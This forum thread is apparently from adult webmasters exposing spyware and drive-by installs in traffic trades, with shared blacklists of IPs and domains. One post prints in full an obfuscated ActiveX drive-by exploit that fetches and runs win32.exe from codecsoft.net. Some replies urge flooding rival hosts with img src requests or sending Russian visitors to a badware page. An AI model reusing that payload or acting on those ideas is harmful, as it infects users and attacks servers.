Spyware is Killing our industry. Proof inside! Long Thread and VIDEO

[darnit]

50 scamming fucktards.

Originally Posted by Yngwie

I'm doing what I can to make people more aware. My tgp is not high in traffic, but everything helps. http://www.youngchickz.com/

Bingo! This is what we can do to help. The progams may contol the money but the affiliates control the traffic. We are the front line for educating and protecting our surfers.

I would also say it would go a long way towards instilling good will if program owners emailed their members about ways to protect themselves as well...

[Huggles]

Originally Posted by will76

what are talking about ? wrong thread maybe? I never accussed DH of doing illegal installs, find me a post where I said that. All I pointed out was his attitude, where he said if it was legal he didn't care and where HE said he would sell traffic to people doing (legal) installs. Unfortunetly, zango and companies like them are legal untill the laws catch up with technology.

"Fuck the missinformed".

Sorry I was hung over when I wrote that and didn't have my head on straight


No, what I meant was, did you ever SEE what installs DH was promoting on his P2Pads.com network?


I kinda see it as a conflict of interest, personally. How can you sell traffic to people with a straight face if you are allowing Zango installs on your network? Basically helping your customers on one end lose money because of Zango hijacks, but profiting off of Zango hijacking your other customer's browsers?


Although I doubt DH would do Zango installs because of this, that's why I'm asking YOU Will76 if you had any proof of what DH was installing? I know he admitted to profiting off of doing installs on p2pads.com but nobody has any clue as far as I know about WHAT installs he was doing?

[kektex]

Could this problem be solved by not trading with any of the offending domain registrars/hosts?
Someone should set up a blacklist of domains/IPs...maybe even trade scripts could implement this.

[Yngwie]

Originally Posted by kektex

Could this problem be solved by not trading with any of the offending domain registrars/hosts?
Someone should set up a blacklist of domains/IPs...maybe even trade scripts could implement this.

it may help, but it will not solve the problem, unfortunately.

[will76]

Originally Posted by Huggles

Sorry I was hung over when I wrote that and didn't have my head on straight


No, what I meant was, did you ever SEE what installs DH was promoting on his P2Pads.com network?


I kinda see it as a conflict of interest, personally. How can you sell traffic to people with a straight face if you are allowing Zango installs on your network? Basically helping your customers on one end lose money because of Zango hijacks, but profiting off of Zango hijacking your other customer's browsers?


Although I doubt DH would do Zango installs because of this, that's why I'm asking YOU Will76 if you had any proof of what DH was installing? I know he admitted to profiting off of doing installs on p2pads.com but nobody has any clue as far as I know about WHAT installs he was doing?

no and he would never disclouse that info, even after asked several times. I went as far as to ask him if he could name a couple "adware" companies that he thought were "ok". Not real adware like google, but "adware" companies, not like google would pay him anyway. He wouldn't even mention any adware companies muchless ones that he did business with.... He claims he never sold traffic for zango installs but I guess you have to take his word on that.

[hjnet]

I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

So when a new trade signs up the first thing I'm doing is to search for "domain.com" in google, most of the time somebody else had a problem with them already and posted the domain in some boards cheater section, so you can easily check that through google.
Next I'm checking his registrar at http://whois.domaintools.com, if it's ESTDOMAINS I'm having a new IP to blacklist.

And I've added the following server IP ranges to my blacklist:
74.52.6.43
66.29.35.37
216.255.189.123
216.255.189
70.84.80.50
216.240.149.117
74.52.6
66.29.35
216.255.189
70.84.80
216.255.178
216.240.149
67.15.187.2
72.232.215.76
216.255.176.124
216.255.176
74.52.6.43
216.255.178.52
216.255.178.60
216.255.178
72.232.194.58
72.232.215.74
72.232.215.77
209.8.19.242
209.51.132.202
91.192.117.46
69.50.160
69.50.161
69.50.162
69.50.163
69.50.164
69.50.165
69.50.166
69.50.167
69.50.168
69.50.169
69.50.170
69.50.171
69.50.172
69.50.173
69.50.174
69.50.175
69.50.176
69.50.177
69.50.178
69.50.179
69.50.180
69.50.181
69.50.182
69.50.183
69.50.184
69.50.185
69.50.186
69.50.187
69.50.188
69.50.189
69.50.190
69.50.191
85.255.112
85.255.113
85.255.114
85.255.115
85.255.116
85.255.117
85.255.118
85.255.119
85.255.120
85.255.121
85.255.122
85.255.123
85.255.124
85.255.125
85.255.126
85.255.127
72.55.148.87
88.85.81.195

And webmaster IPs:
88.151.106.252
81.169.235.6
70.84.80.50
83.188.23.87
81.169.224.98
83.69.20.130
81.169.234.219
69.166.67.221
91.192.117.46
72.232.65.178
64.151.36.201
86.57.128.201
91.124.155.94

And domains:
shyteenies.com
mashathumbs.com
sexgall.net
hotdailynudes.com
yourthumbnails.com
asianscity.com
xxxdesert.com
startfreevideo.com
tgpporn.net
100freegalls.com
fuckingcraft.org
extrablow.com
brothervids.com
onlinesexmovie.net
pjunkie.net
perky-teenies.com
sappypussy.com
dullworld.com
pinkyteenies.com
hardsaloon.com
pushpussy.com
teensseduction.com
angelsvids.com
chickswar.com
mixteenies.com
smokyvids.com
teensinlaw.com
good-teens.com
try-girls.com
pinkypussies.com
sexymovs.com
youngperfection.net
mpeggalls.com
lookmycunt.com
girlsrussian.net
pornstarocean.com
lovelyteenvids.com
porn-cinema.net
need4pornvids.com

The server IPs cover a wide range of INHOSTERS, ATRIVO and INTERCAGE, since I'm using that I didn't had any further problem with these guys, so I suggest that everybody uses these IP ranges as a temporary addition to their blacklist.

[Bloomer]

[Yngwie]

Originally Posted by hjnet

I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

So when a new trade signs up the first thing I'm doing is to search for "domain.com" in google, most of the time somebody else had a problem with them already and posted the domain in some boards cheater section, so you can easily check that through google.
Next I'm checking his registrar at http://whois.domaintools.com, if it's ESTDOMAINS I'm having a new IP to blacklist.

And I've added the following server IP ranges to my blacklist:
74.52.6.43
66.29.35.37
216.255.189.123
216.255.189
70.84.80.50
216.240.149.117
74.52.6
66.29.35
216.255.189
70.84.80
216.255.178
216.240.149
67.15.187.2
72.232.215.76
216.255.176.124
216.255.176
74.52.6.43
216.255.178.52
216.255.178.60
216.255.178
72.232.194.58
72.232.215.74
72.232.215.77
209.8.19.242
209.51.132.202
91.192.117.46
69.50.160
69.50.161
69.50.162
69.50.163
69.50.164
69.50.165
69.50.166
69.50.167
69.50.168
69.50.169
69.50.170
69.50.171
69.50.172
69.50.173
69.50.174
69.50.175
69.50.176
69.50.177
69.50.178
69.50.179
69.50.180
69.50.181
69.50.182
69.50.183
69.50.184
69.50.185
69.50.186
69.50.187
69.50.188
69.50.189
69.50.190
69.50.191
85.255.112
85.255.113
85.255.114
85.255.115
85.255.116
85.255.117
85.255.118
85.255.119
85.255.120
85.255.121
85.255.122
85.255.123
85.255.124
85.255.125
85.255.126
85.255.127
72.55.148.87
88.85.81.195

And webmaster IPs:
88.151.106.252
81.169.235.6
70.84.80.50
83.188.23.87
81.169.224.98
83.69.20.130
81.169.234.219
69.166.67.221
91.192.117.46
72.232.65.178
64.151.36.201
86.57.128.201
91.124.155.94

And domains:
shyteenies.com
mashathumbs.com
sexgall.net
hotdailynudes.com
yourthumbnails.com
asianscity.com
xxxdesert.com
startfreevideo.com
tgpporn.net
100freegalls.com
fuckingcraft.org
extrablow.com
brothervids.com
onlinesexmovie.net
pjunkie.net
perky-teenies.com
sappypussy.com
dullworld.com
pinkyteenies.com
hardsaloon.com
pushpussy.com
teensseduction.com
angelsvids.com
chickswar.com
mixteenies.com
smokyvids.com
teensinlaw.com
good-teens.com
try-girls.com
pinkypussies.com
sexymovs.com
youngperfection.net
mpeggalls.com
lookmycunt.com
girlsrussian.net
pornstarocean.com
lovelyteenvids.com
porn-cinema.net
need4pornvids.com

The server IPs cover a wide range of INHOSTERS, ATRIVO and INTERCAGE, since I'm using that I didn't had any further problem with these guys, so I suggest that everybody uses these IP ranges as a temporary addition to their blacklist.

what are the namerservers for those hosts? I can add name servers to the ban list in the tgp script I'm using.

[Yngwie]

scrap my last question. I found the nameservers.

[tolik]

interesting reading

[Bloomer]

Originally Posted by Yngwie

scrap my last question. I found the nameservers.

/what method did you use to find them with?

[tolik]

Originally Posted by Bloomer

/what method did you use to find them with?

does whois not showing them anymore?

[u-Bob]

Originally Posted by hjnet

I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

[Bloomer]

Originally Posted by tolik

does whois not showing them anymore?

sorry can you post a few links to?

[kektex]

Like u-bob said, the ESTHOSTERS and ESTDOMAINS guys post here...post a request for hosting spam and watch them jump in the thread.
After looking at the domains used by these people I think 80% of the problem would be solved by looking up the registrar or host before accepting the trade.
It shouldn´t be too hard to write a quick script that will check wether the trade is hosted with the offending hoster or the domain is registered with them.

[superdio]

Originally Posted by kektex

It shouldn´t be too hard to write a quick script that will check wether the trade is hosted with the offending hoster or the domain is registered with them.

Something like this ?

http://ihave.bushiq.com/cgi-bin/estdomains.cgi

[u-Bob]

superdio: might wanna add cernel.net to that list. It's another one of those fake hosting companies used by scammers/thieves.

[hjnet]

Originally Posted by superdio

Something like this ?

http://ihave.bushiq.com/cgi-bin/estdomains.cgi

Nice, I was thinking to write something myself, but as you already did it I might suggest to add a feature to check domains in bulk. Cause it would be great if someone could just copy/paste all his trades into your script, and have them checked at once

[hjnet]

Originally Posted by Bloomer

/what method did you use to find them with?

I.e. http://whois.domaintools.com/porn-cinema.net shows the nameservers (NS1&2.PORNSTAR-SITE.NET) for porn-cinema.net (I've just taken a random one from my blacklist).

Unfortunately these guys use quite many nameservers, so blocking their server IP ranges was the most effective solution on my side. There are still 2-3 signup attempts from these giys to our sites each day, but the IP blacklisting blocks them

[hjnet]

We should have added some naked chicks to the first post(s), to get more bumps

Making it Sticky would also be great

[Quickdraw]

So I went to triplexporn.org which links/trades to top-amateur.com and on top-amateur.com there is a popup to nichetgp.com. Nichetgp and top-amateur are owned by the same individual.
On nichetgp.com is this code

eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%68%74%74%70%3a%2f%2f%63%6f%64%65%63%73%6f%66%74%2e%6e%65%74%2f%73%74%72%6f%6e%67%2f%30%36%34%2f%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3b'));
which converts to
iframe src=http-//codecsoft.net/strong/064/ width=1 height=1></iframe
 and
codecsoft.net/adv/new.php?adv=64 width=1 height=1  with more obfuscated code

Now codecsoft.net has this code

document.write(unescape("%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%73%74%79%6c%65%3e%20%2a%20%7b%43%55%52%53%4f%52%3a%20%75%72%6c%28%22%31%32%33%2e%68%74%6d%22%29%7d%20%3c%2f%73%74%79%6c%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%31%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%32%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%33%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%34%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e
which translates to
document.write(unescape(\"// ? ¬¥haâ ਩ ha å :) -->
<style> * {CURSOR: url("123.htm")} </style>
<iframe src="exp1.htm" width="1" height="1"></iframe>
// ? ¬¥haâ ਩ ha å :) -->
<iframe src="exp2.htm" width="1" height="1"></iframe>
// ? ¬¥haâ ਩ ha å :) -->
<iframe src="exp3.htm" width="1" height="1"></iframe>
// ? ¬¥haâ ਩ ha å :) -->
<iframe src="exp4.htm" width="1" height="1"></iframe>

exp1.htm contains this code

document.write(unescape("%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%4a%61%76%61%53%63%72%69%70%74%22%3e%20%0a%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%76%61%72%20%78%6e%61%6d%65%3d%27%6f%62%27%2b%27%6a%27%3b%0a%76%61%72%20%6f%62%6a%5f%52%44%53%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%78%6e%61%6d%65%2b%27%65%63%74%27%29%3b%0a%76%61%72%20%69%64%73%3d%27%69%27%2b%27%64%27%3b%0a%76%61%72%20%78%72%64%73%3d%27%52%27%2b%27%44%53%27%3b%0a%6f%62%6a%5f%52%44%53%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%69%64%73%2c%27%6f%62%6a%5f%27%2b%78%72%64%73%29%3b%0a%0a%76%61%72%20%63%6c%73%5f%69%64%31%3d%27%63%6c%27%2b%27%73%69%27%2b%27%64%3a%42%44%27%2b%27%39%36%43%35%27%3b%0a%76%61%72%20%63%6c%73%5f%69%64%32%3d%27%35%36%27%2b%27%2d%36%35%27%2b%27%41%33%2d%31%31%27%2b%27%44%30%2d%39%38%33%41%27%2b%27%2d%30%30%43%30%34%27%2b%27%46%43%32%39%45%33%36%27%3b%0a%6f%62%6a%5f%52%44%53%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%63%6c%61%73%73%69%64%27%2c%63%6c%73%5f%69%64%31%2b%63%6c%73%5f%69%64%32%29%3b%0a%0a%76%61%72%20%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%30%3b%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%76%61%72%20%78%6e%61%6d%65%5f%73%74%72%3d%22%61%64%22%2b%22%6f%64%62%2e%73%22%2b%22%74%72%65%61%6d%22%3b%0a%74%72%79%20%7b%20%76%61%72%20%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%6f%62%6a%5f%52%44%53%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%78%6e%61%6d%65%5f%73%74%72%2c%22%22%29%3b%20%0a%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%31%3b%20%7d%20%63%61%74%63%68%28%65%29%7b%7d%20%69%66%20%28%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%21%3d%20%31%29%20%0a%7b%20%74%72%79%20%7b%20%76%61%72%20%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%78%6e%61%6d%65%5f%73%74%72%29%3b%20%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%31%3b%20%7d%20%63%61%74%63%68%28%65%29%7b%7d%20%7d%20%0a%69%66%20%28%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%3d%20%31%29%20%7b%20%74%72%79%20%7b%20%0a%76%61%72%20%61%70%70%6c%5f%3d%22%53%68%22%2b%22%65%6c%22%2b%22%6c%2e%41%70%70%22%2b%22%6c%69%63%61%22%2b%22%74%69%6f%6e%22%3b%0a%76%61%72%20%6f%62%6a%5f%53%68%65%6c%6c%41%70%70%20%3d%20%6f%62%6a%5f%52%44%53%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%61%70%70%6c%5f%2c%22%22%29%3b%0a%76%61%72%20%78%6d%6c%5f%6e%61%6d%65%3d%22%6d%73%22%2b%22%78%6d%22%2b%22%6c%32%2e%58%22%2b%22%4d%4c%48%22%2b%22%54%54%50%22%3b%0a%76%61%72%20%6f%62%6a%5f%6d%73%78%6d%6c%32%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%78%6d%6c%5f%6e%61%6d%65%29%3b%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%6f%62%6a%5f%6d%73%78%6d%6c%32%2e%6f%70%65%6e%28%22%47%22%2b%22%45%54%22%2c%22%68%74%74%70%3a%2f%2f%63%6f%64%65%63%73%6f%66%74%2e%6e%65%74%2f%61%64%76%2f%30%36%34%2f%77%69%6e%33%32%2e%65%78%65%22%2c%66%61%6c%73%65%29%3b%20%0a%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%0a%6f%62%6a%5f%6d%73%78%6d%6c%32%2e%73%65%6e%64%28%29%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%74%79%70%65%20%3d%20%31%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%6f%70%65%6e%28%29%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%57%72%69%74%65%28%6f%62%6a%5f%6d%73%78%6d%6c%32%2e%72%65%73%70%6f%6e%73%65%42%6f%64%79%29%3b%20%0a%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%0a%76%61%72%20%66%6e%20%3d%20%22%43%3a%5c%5c%78%78%31%32%33%32%32%35%35%22%2b%22%2e%65%22%2b%22%78%65%22%3b%20%6f%62%6a%5f%61%64%6f%64%62%2e%53%61%76%65%54%6f%46%69%6c%65%28%66%6e%2c%32%29%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%63%6c%6f%73%65%28%29%3b%20%6f%62%6a%5f%53%68%65%6c%6c%41%70%70%2e%53%68%65%6c%6c%45%78%65%63%75%74%65%28%66%6e%29%3b%20%7d%20%63%61%74%63%68%28%65%29%7b%7d%20%7d%20%3c%2f%73%63%72%69%70%74%3e"));
which translates to
document.write(unescape(\"<script language="JavaScript"> 

// ? ¬¥haâ ਩ ha å :) -->
var xname='ob' 'j';
var obj_RDS = document.createElement(xname 'ect');
var ids='i' 'd';
var xrds='R' 'DS';
obj_RDS.setAttribute(ids,'obj_' xrds);

var cls_id1='cl' 'si' 'd:BD' '96C5';
var cls_id2='56' '-65' 'A3-11' 'D0-983A' '-00C04' 'FC29E36';
obj_RDS.setAttribute('classid',cls_id1 cls_id2);

var is__obj_adodb = 0;
// ? ¬¥haâ ਩ ha å :) -->
var xname_str="ad" "odb.s" "tream";
try { var obj_adodb = obj_RDS.CreateObject(xname_str,""); 
is__obj_adodb = 1; } catch(e){} if (is__obj_adodb != 1) 
{ try { var obj_adodb = new ActiveXObject(xname_str); is__obj_adodb = 1; } catch(e){} } 
if (is__obj_adodb == 1) { try { 
var appl_="Sh" "el" "l.App" "lica" "tion";
var obj_ShellApp = obj_RDS.CreateObject(appl_,"");
var xml_name="ms" "xm" "l2.X" "MLH" "TTP";
var obj_msxml2 = new ActiveXObject(xml_name);
// ? ¬¥haâ ਩ ha å :) -->
obj_msxml2.open("G" "ET","http---codecsoft.net/adv/064/win32.exe",false); 

// ? ¬¥haâ ਩ ha å :) -->

obj_msxml2.send(); 
obj_adodb.type = 1; 
obj_adodb.open(); 
obj_adodb.Write(obj_msxml2.responseBody); 

// ? ¬¥haâ ਩ ha å :) -->

var fn = "C:\\xx1232255" ".e" "xe"; obj_adodb.SaveToFile(fn,2); 
obj_adodb.close(); obj_ShellApp.ShellExecute(fn); } catch(e){} } </script>\"));

[Quickdraw]

triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code--

language="Javascript"> if (top.location != self.location) { top.location = 'http---www.erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo'; } //-->

which contains a popup to--
nichetgp.com/amateur/in.cgi?a=340
which contains the code(win32.exe) explained above

[joy]

Originally Posted by Quickdraw

triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code--

language="Javascript"> if (top.location != self.location) { top.location = 'http---www.erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo'; } //-->

which contains a popup to--
nichetgp.com/amateur/in.cgi?a=340
which contains the code(win32.exe) explained above

Incase anyone misses that

[Snake Doctor]

Why don't we img src the fuck out of these people?

I know The Hun used to do that when someone stole his shit/copied his page....img src them until their server melted.

I'm sure all of us collectively could bring down an entire hosting company if we really wanted to. Why not IMG SRC all of the domains on all of our high traffic pages until his host shuts his account off?

[tolik]

congrats you two lame losers. original full line of code:

<script language="Javascript">
document.write('<img src="cgi-bin/counter2.pl?' + inc + '" style="visibility:none" height="0" width="0">');
</script>

now explain me how img src redirect traffic?

[tolik]

Originally Posted by porno jew

https://gfy.com/members/tolik/

one more thing - "tolik" account name - not my account name at fpctraffic.

[tolik]

Originally Posted by Quickdraw

triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code--

language="Javascript"> if (top.location != self.location) { top.location = 'http---www.erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo'; } //-->

which contains a popup to--
nichetgp.com/amateur/in.cgi?a=340
which contains the code(win32.exe) explained above

Registrant Organization:UltraHoster
this company registering domain under esthost. does not see any problem here. i have all my domains at same place for years. and i does not force anyone to trade width me. dont like - dont trade. anyway most time i trading with same people for years.

[Quickdraw]

Originally Posted by tolik

congrats you two lame losers. original full line of code:

<script language="Javascript">
document.write('<img src="cgi-bin/counter2.pl?' + inc + '" style="visibility:none" height="0" width="0">');
</script>

now explain me how img src redirect traffic?

who said it redirects traffic?

[c-lo]

Originally Posted by hjnet

I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

And I've added the following server IP ranges to my blacklist...

Thanks man, added em to my blacklist!

later
c-lo

[tolik]

Originally Posted by Quickdraw

who said it redirects traffic?

triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code-- blablabla

who care what code have img src what wroting 0*0 image at bottom of page?

and i cannot get at all where you get and for what this at all frame/iframe breaking code what you posted?

and also - for what this here:
_____________________________
which contains a popup to--
nichetgp.com/amateur/in.cgi?a=340
_____________________________

i never traded or have a links to this site.
if some toplist open this link for some countries - not for me or i have popup blockers on.

cannot understand what relation this have to me?

[Quickdraw]

Originally Posted by tolik

triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code-- blablabla

who care what code have img src what wroting 0*0 image at bottom of page?

and i cannot get at all where you get and for what this at all frame/iframe breaking code what you posted?

and also - for what this here:
_____________________________
which contains a popup to--
nichetgp.com/amateur/in.cgi?a=340
_____________________________

i never traded or have a links to this site.
if some toplist open this link for some countries - not for me or i have popup blockers on.

cannot understand what relation this have to me?

Your counter2.pl redirects to triplexporn.org/err.html which has the frame breaker code you asked about.
This err.html redirects to erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo which earlier had the popup to nichetgp, but now amazingly is 404

As far as how it relates to you. Well these were sites that you force traffic to, so anyone that trades with you is essentially getting their traffic infected with the sites where you force traffic.

You are right, everyone has a choice with who they trade with, and honest webmasters don't like to trade with sites that get their potential customers infected with shitware.

[tolik]

Originally Posted by Quickdraw

Your counter2.pl redirects to triplexporn.org/err.html .

did you have any idea what will be if img src html file?

as i see no.

[Quickdraw]

Originally Posted by tolik

did you have any idea what will be if img src html file?
as i see no.

Makes no difference to me.
The point is your site forces traffic to places on the web that infect users with trojans/malware/zango and whatever else.

[tolik]

yes. very clever. sure. i forcing traffic using img scr of html site.
go faster register pattent for this new technology.
you will be reach in seconds.

[Quickdraw]

Originally Posted by tolik

yes. very clever. sure. i forcing traffic using img scr of html site.
go faster register pattent for this new technology.
you will be reach in seconds.

Sorry, you can try to deflect this all you want, but your trade script specifically is what I am referring to. The err page just tied you to more shit sites.
Your site forces traffic to these sites--
xtoplist.com/topteen/toplist.php3?Action=In&Login=porevo -- a zango spot
and
top-amateur.com/?28363 a site that is explained above

[u-Bob]

Originally Posted by tolik

Registrant Organization:UltraHoster
this company registering domain under esthost. does not see any problem here.

1. ultrahoster = russian
2. ultrahoster.com = a domain used in tons of guestbook (and other) spam campaigns.
3. ultrahoster.com is on several spyware lists (including the coolwebsearch (=spyware) domain lists)

[tolik]

Originally Posted by u-Bob

1. ultrahoster = russian
2. ultrahoster.com = a domain used in tons of guestbook (and other) spam campaigns.
3. ultrahoster.com is on several spyware lists (including the coolwebsearch (=spyware) domain lists)

so - how this related to me if i just purashed domains using this company?
and this was been more then 2 years ago. what wrong with this?

[joy]

This thread keeps getting better by the day.

[kektex]

I like this thread

[maalox]

Great thread thanks for the info
If you are using xclicks.net here's all you have to do:cut-copy-paste this into the banned page in your script:
83.69.20.130, 81.169.224.98, 83.188.23.87, 70.84.80.50, 88.85.81.195, 72.55.148.87, 85.255.127, 85.255.121, 85.255.120, 85.255.119, 85.255.118, 85.255.117, 85.255.116, 85.255.115, 85.255.114, 85.255.113, 85.255.112, 69.50.191, 69.50.190, 69.50.189, 69.50.188, 69.50.187, 69.50.186, 69.50.185, 69.50.175, 69.50.169, 69.50.170, 69.50.168, 209.51.132.202, 209.8.19.242, 72.232.215.77, 72.232.215.74, 72.232.194.58, 216.255.178, 72.232.215.76, 216.255.178.60, 67.15.187.2, 216.240.149, 216.255.178, 70.84.80, 66.29.35.37, 74.52.6.43, lookmycunt.com,
mpeggalls.com, youngperfection.net, sexymovs.com, trygirls.com, pinkypussies.com, good-teens.com, teensinlaw.com, smokyvids.com, angelsvids.com, mixteenies.com, teensseduction.com, chickswar.com, pushpussy.com, hardsaloon.com, pinkyteenies.com, sappypussy.com, dullworld.com, perkyteenies.com, onlinesexmovie.net, pjunkie.net, brothervids.com, extrablow.com, fuckingcraft.org, 100freegalls.com, tgpporn.net, startfreevideo.com, sexgall.net, hotdailynudes.com, mashathumbs.com, shyteenies.com, yourthumbnails.com, xxxdesert.com, asianscity.com, girlsrussian.net, pornstarocean.com, lovelyteenvids.com, porn-cinema.net, need4pornvids.com, 216.255.189.123, 70.84.80.50, 216.255.189, 216.240.149.117, 66.29.35, 74.52.6, 216.255.189, 216.255.176.124, 74.52.6.43,
216.255.176, 216.255.178.52, 91.192.117.46, 69.50.160, 69.50.161, 69.50.162, 69.50.163, 69.50.167, 69.50.166, 69.50.165, 69.50.164, 69.50.171, 69.50.172, 69.50.173, 69.50.174, 69.50.176, 69.50.177, 69.50.178, 69.50.179, 69.50.180, 69.50.181, 69.50.182, 69.50.183, 69.50.184, 85.255.122, 85.255.123, 85.255.124, 85.255.125, 85.255.126, 88.151.106.252, 81.169.235.6, 81.169.234.219, 69.166.67.221, 91.192.117.46, 72.232.65.178, 64.151.36.201, 86.57.128.201, 91.124.155.94

[AK]

Originally Posted by A1R3K

edit: fuck it. no one listens anyhow.

hey bro.. would you like a Fuck Spyware T shirt?

[Ray@TastyDollars]

Originally Posted by AK

hey bro.. would you like a Fuck Spyware T shirt?

Haha nice!

[MrCain]

Fuck Spyware.

[Quickdraw]

Back to what the original post in this thread was about.
If you haven't installed this stuff, you should find a way to research it further.
This affects anyone that buys traffic via PPC engines, gets natural traffic from the SE's, or even has just a little bit of traffic.

Say for instance that a surfer with this malware searches for "thehun.net" into google. The first result is of course thehun.net, but clicking on it won't get you there.
After several clicks that surfer might actually get to TheHun, but clicks from there are just redirected as well. This scenario seems to ring true for most sites and all keywords. Users are redirected to either their(zlob) sponsor, or redirected through a PPC engine to another destination.

If you use any of the smaller ppc engines, search123, goclick, searchfeed etc., you might have noticed a huge drop in your campaign returns since this scumware(moviebox,zlob) came out, especially for more generic terms.

There is a lot more to it, if you have a spare computer, check it out. You might be surprised

[Quickdraw]

Anyone else watch the videos or download this MOVIEBOX 'codec'?

[joy]

May 4th. This is why sales are down to the point that they are the past 3-4 days

Sponsors need to open their eyes and look at the big picture. Look at your sales the past 3-4 days, compare your join page VS 1st bill page. You will see that your join page traffic has not changed, however your biller page traffic went to shit.

Bump for an interesting thread which is posing a real issue to this industry. This needs to be stopped, and learning about it's workings is the first step.

[StarkReality]

This thread would deserve a STICKY !

[Voodoo]

Simple.

GEOIP check the user's country on ALL of your sites. If the user/webmaster is from Russia... Send them to an auto-install badware page that monetizes off of their legacy of scamming and unscrupulous methods of doing business.

[martinsc]

bump bump bump